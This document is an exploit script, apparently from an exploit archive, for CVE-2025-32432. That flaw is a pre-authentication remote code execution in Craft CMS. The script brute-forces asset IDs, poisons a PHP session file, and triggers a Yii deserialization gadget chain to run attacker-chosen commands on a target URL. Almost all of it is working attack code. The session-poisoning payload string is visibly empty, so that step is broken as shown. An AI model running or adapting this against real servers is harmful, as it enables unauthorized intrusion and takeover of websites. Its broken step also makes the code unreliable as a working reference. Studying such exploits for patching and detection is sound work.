# Exploit Title: Craft CMS 5.6.16 - RCE # Google Dork: N/A # Date: 2026-01-24 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Vendor Homepage: https://craftcms.com # Software Link: https://github.com/craftcms/cms # Version: <= 3.9.14, <= 4.14.14, <= 5.6.16 # Tested on: Linux, Apache/Nginx, PHP 8.x # CVE: CVE-2025-32432 # # Description: # Craft CMS contains a pre-authentication remote code execution vulnerability # in the assets/generate-transform endpoint. By abusing a Yii deserialization # gadget chain (FieldLayoutBehavior → PhpManager) and poisoning a PHP session # file, an unauthenticated attacker can achieve arbitrary command execution. # import requests import argparse import time import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def find_asset_id(base_url, max_attempts=300): """ Brute-force search for a valid Asset ID. This is optional and may be unreliable on some installations. """ session = requests.Session() session.verify = False print("[*] Brute-forcing Asset ID (best-effort)...") for asset_id in range(1, max_attempts + 1): url = f"{base_url}/actions/assets/generate-transform" payload = { "assetId": asset_id, "handle": { "width": 1, "height": 1, "as hack": { "class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "yii\\rbac\\PhpManager", "__construct()": [ { "itemFile": "invalid" } ] } } } try: r = session.post(url, json=payload, timeout=5) if r.status_code != 404: print(f"[+] Potential valid Asset ID found: {asset_id} (HTTP {r.status_code})") return asset_id except: continue print(f"[-] No valid Asset ID found after {max_attempts} attempts.") return None def implant_php(base_url, cmd): """ Step 1: Poison the PHP session file with injected PHP code. This relies on old-style behavior where query parameters are written into the session file without sanitization. """ injection = f"" url = f"{base_url}/index.php?p=admin/dashboard&a={injection}" try: r = requests.get(url, verify=False, timeout=10) if r.status_code == 200: print(f"[+] Session poisoning request sent successfully") return True else: print(f"[-] Injection failed (HTTP {r.status_code})") return False except Exception as e: print(f"[-] Injection error: {e}") return False def execute_command(base_url, asset_id, session_id): """ Step 2: Trigger deserialization and force PhpManager to include the poisoned session file from /tmp/sess_. """ url = f"{base_url}/actions/assets/generate-transform" payload = { "assetId": asset_id, "handle": { "width": 1, "height": 1, "as hack": { "class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "yii\\rbac\\PhpManager", "__construct()": [ { "itemFile": f"/tmp/sess_{session_id}" } ] } } } try: r = requests.post(url, json=payload, verify=False, timeout=15) return r.text except Exception as e: return f"[-] Execution request failed: {e}" def main(): parser = argparse.ArgumentParser( description="CVE-2025-32432 - Craft CMS Pre-Auth Remote Code Execution" ) parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g. https://victim.com)") parser.add_argument("-c", "--cmd", required=True, help="Command to execute (e.g. id, whoami)") parser.add_argument("-a", "--asset", type=int, help="Known valid Asset ID (recommended)") parser.add_argument("-s", "--scan-max", type=int, default=300, help="Max Asset ID brute-force range (optional)") args = parser.parse_args() base_url = args.url.rstrip('/') session = requests.Session() session.verify = False # Step 0: Obtain PHP session ID try: r = session.get(f"{base_url}/index.php", verify=False, timeout=10) session_id = session.cookies.get("PHPSESSID", None) if not session_id: print("[-] Failed to obtain PHPSESSID") return print(f"[+] Obtained PHPSESSID: {session_id}") except Exception as e: print(f"[-] Failed to establish session: {e}") return # Determine Asset ID asset_id = args.asset if not asset_id: asset_id = find_asset_id(base_url, args.scan_max) if not asset_id: print("[-] Exploitation aborted: no valid Asset ID found") return print(f"[+] Using Asset ID: {asset_id}") # Step 1: Poison session file if not implant_php(base_url, args.cmd): print("[-] Session poisoning failed") return print("[*] Waiting for session file to be written...") time.sleep(2) # Step 2: Trigger RCE print(f"[*] Triggering command execution: {args.cmd}") output = execute_command(base_url, asset_id, session_id) # Output handling print("\n[+] Server response:") print(output[:2000]) if __name__ == "__main__": print("=== CVE-2025-32432 - Craft CMS Pre-Auth RCE Exploit ===") main()